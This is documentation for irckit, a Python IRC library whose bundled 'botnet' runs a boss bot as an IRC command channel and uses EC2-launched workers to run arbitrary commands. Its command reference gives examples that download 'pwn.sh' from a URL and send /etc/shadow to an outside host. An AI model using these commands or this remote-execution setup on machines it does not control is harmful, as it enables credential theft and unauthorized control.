irckit Documentation

Release 0.1.0

charles leifer

January 11, 2015

Contents

tinkering with a made-from-scratch irc library in python

Contents:

CHAPTER 1

Installation

There are a couple of ways to install irckit

1.1 Installing with pip

```
pip install irckit

or

pip install -e git+https://github.com/coleifer/irc.git#egg=irc
```

1.2 Installing via git

```
git clone https://github.com/coleifer/irc.git
cd irc
sudo python setup.py install
```

1.3 Install dependencies

```
pip install gevent (for botnet)
pip install boto (for botnet's EC2 launcher)
pip install httplib2 (for some of the bots)
```

CHAPTER 2

example bot

```
from irc import IRCBot, run_bot


class GreeterBot(IRCBot):
    def greet(self, nick, message, channel):
        return 'Hi, %s' % nick

    def command_patterns(self):
        return (
            self.ping('^hello', self.greet),
        )


host = 'irc.freenode.net'
port = 6667
nick = 'greeterbot'

run_bot(GreeterBot, host, port, nick, ['#botwars'])
```

CHAPTER 3

BotNet Help

3.1 Quick overview

The botnet is composed of two components, the boss and any number of workers. The first step when using the botnet is to start up the boss.

Here is an example:

```
python boss.py -c secretbotz -n daboss1 -x qwerty
```

This will start the boss using "#secretbotz" as the command channel. The boss will be identified by the nickname "daboss1". To auth with the boss you will send it the message `!auth qwerty`. The default host is irc.freenode.net and the default port is 6667, so it will use thoes values. You should be able to join #secretbotz using your IRC client and see "daboss1" just chilling out:

```
<cleifer> !auth qwerty
<daboss1> Success
```

Next, start up any number of workers. The workers will need to know the nick of the command bot so they can register themselves and start accepting tasks:

```
python worker.py -b daboss1
```

Now you should be able to ask daboss1 for some status and see that your worker has been registered:

```
<cleifer> !status
<daboss1> 1 workers available
<daboss1> 0 tasks have been scheduled
```

Let's execute a program on the worker machine:

```
<cleifer> !execute run vmstat
<daboss1> Scheduled task: "run vmstat" with id 1 [1 workers]
<daboss1> Task 1 completed by 1 workers
```

What was the output of the command?

```
cleifer> !print
<daboss1> [w0rk3r:{alpha}] - run vmstat
<daboss1> procs -----------memory---------- ---swap-- -----io---- -system-- ----cpu----
<daboss1> r  b   swpd   free   buff  cache   si   so    bi    bo   in   cs us sy id wa
<daboss1> 0  0      0 977784 504004 910144    0    0    46    29  103  443  3  1 96  0
```

3.2 The Boss

The Boss is responsible for coordinating a given number of worker bots. The Boss is given a channel and a secret password, when you join that channel and authenticate with the boss, you will be able to issue commands to the workers:

```
<you>  /join #secret-channel
<you>  !auth my-password
<boss> Success
```

3.2.1 Starting the Boss

```
python boss.py [options]
```

switch	meaning	example
-s	server to connect to	-s irc.freenode.net
-p	port to connect on	-p 6667
-n	nickname to use for boss	-n boss1337
-x	secret used to auth	-x sshhh!
-c	c&c channel	-c #secret-channel
-f	logfile	-f /var/log/boss.log
-v	verbosity of logging (0 - 2)	-v 1

3.3 The Worker

The Worker is responsible for executing tasks you send to the boss. The worker communicates solely with the boss, executing tasks on the local machine and reporting its results back when finished. Behind-the-scenes the worker initialization looks like this:

1. message the boss and ask to register (tries every 30s)
2. upon receiving confirmation, join the C&C channel with the other workers
3. work on tasks issued by the boss via the C&C channel, and report back results

3.3.1 Starting the worker

```
python worker.py [options]
```

switch	meaning	example
-s	server to connect to	-s irc.freenode.net
-p	port to connect on	-p 6667
-n	base nickname for worker	-n worker
-b	nickname of boss *important*	-b daboss1
-f	logfile for output	-f /var/log/worker.log
-v	verbosity of output 0 -2	-v 1

3.4 Launching a number of workers using EC2

The BotNet comes with a launcher to make it easy to spin up an arbitrary number of workers using amazon's EC2. This launcher requires boto, the python/aws library.

Example usage:

```
# launch 10 workers pointing them at "daboss1"
python launcher.py --workers=10 --boss=daboss1

# show me the status of my workers
python launcher.py show

# terminate my workers, I'm done
python launcher.py terminate
```

Note: The launcher comes with a bootstrap script and is designed by default to use an Ubuntu 10.04 LTS 32-bit AMI in US-East. The bootstrap script may need to be modified slightly if you intend to use a different AMI as the packages may be different.

3.4.1 Running the launcher

The launcher takes a number of options, which instruct it which AMI to use, what size instances to create, number of workers to spawn, etc. It also takes all the same parameters the worker takes, and passes those along to the workers it spawns.

switch	meaning	example
–workers	number of workers to spawn	–workers=5
–quiet	no output	–quiet
–script	custom bootstrap script	–script=my-custom-script.sh
–ami	AMI id to use	–ami=ami-ab36fbc2
–key	AWS access key	–key=foo
–secret	AWS secret access key	–secret=bar
–type	Instance size	–type=t1.micro
–key-name	Security pair key name	–key-name=master-key
–group	Security group for instances	–group=default

The following switches will be passed on to the workers launched by the launcher:

switch	meaning	example
-s	server to connect to	-s irc.freenode.net
-p	port to connect on	-p 6667
-n	base nickname for worker	-n worker
-b	nickname of boss *important*	-b daboss1
-f	logfile for output	-f /var/log/worker.log
-v	verbosity of output 0 - 2	-v 1

3.5 Issuing commands to the BotNet

The BotNet comes with a number of commands pre-programmed. Here are the steps for running commands on your botnet, assuming you started our boss and worker in the following manner:

```
python boss.py -c secretbotz -n daboss1 -x qwerty
python worker.py -b daboss1
```

1. Join the channel that you started the boss in and authenticate:

```
<you>     /join #secretbotz
<you>     !auth qwerty
<daboss1> Success
```

2. Ask for status:

```
<you>     !status
<daboss1> 1 workers available
<daboss1> 0 tasks have been scheduled
```

3. Run a command:

```
<you>     !execute run vmstat
<daboss1> Scheduled task: "run vmstat" with id 1 [1 workers]
<daboss1> Task 1 completed by 1 workers
```

4. View result returned by worker:

```
<you>     !print
<daboss1> [w0rk3r:{alpha}] - run vmstat
<daboss1> procs -----------memory---------- ---swap-- -----io---- -system-- ----cpu----
<daboss1> r  b   swpd   free   buff  cache   si   so    bi    bo   in   cs us sy id wa
<daboss1> 0  0      0 977784 504004 910144    0    0    46    29  103  443  3  1 96  0
```

3.6 Command reference

Command	Meaning
!auth <password>	authenticate with the boss
!execute (num workers) <command>	execute the given command (optional, number of workers)
!print (task id)	print output of tasks or task with id
!stop	tell workers to stop their current task
!status	get status on workers and tasks
!uptime	boss uptime
!help	display list of commands

3.6.1 Commands you can execute on workers

The following commands are available to workers using `!execute`:

`run <program>` Run the given program on the worker's host.

Example: `!execute run vmstat`

`info` Get info about the host the worker is running on

Example: `!execute info`

`download <url>` Retrieve a remote file and store it in the working directory

Example: `!execute download http://my-awesome-script.com/pwn.sh`

`send_file <filename> <destination>` Send file at <filename> to given destination (host:port) – this transers the raw data.

Example: `!execute send_file /etc/shadow some.fileserver.com:9001`

`ports` View what ports are open on the workers host

Example: `!execute ports`

status Return the workers queue size

Example: `!execute status`

get_time <format> Return the localtime from the workers host

Example: `!execute get_time`

CHAPTER 4

Indices and tables

- *genindex*
- *modindex*
- *search*